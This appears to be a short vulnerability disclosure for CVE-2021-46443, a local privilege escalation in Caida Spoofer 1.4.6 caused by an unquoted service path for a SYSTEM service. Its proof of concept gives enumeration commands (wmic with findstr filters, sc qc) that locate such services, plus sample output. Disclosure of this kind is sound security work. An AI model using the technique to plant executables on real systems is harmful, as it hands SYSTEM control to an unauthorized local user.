# Exploit Title: Spoofer 1.4.6 โ€“ Local Privilege Escalation via Unquoted Service Path 
# Exploit Author: Asim Sattar (@M_Asim_1)

# Version: 1.4.6 
# Tested: Windows 10 (x64) 
# CVE: CVE-2021-46443



Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted
service path. Since this service is running as SYSTEM, this creates a local
privilege escalation vulnerability. To properly exploit this vulnerability,
a local attacker can insert an executable in the path of the service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.


Proof of Concept:


C:\Users\asim.sattar>wmic service get name,pathname,displayname,startmode |
findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Spoofer Scheduler   spoofer-scheduler   C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe  Auto

C:\Users\asim.sattar>sc qc "spoofer-scheduler"
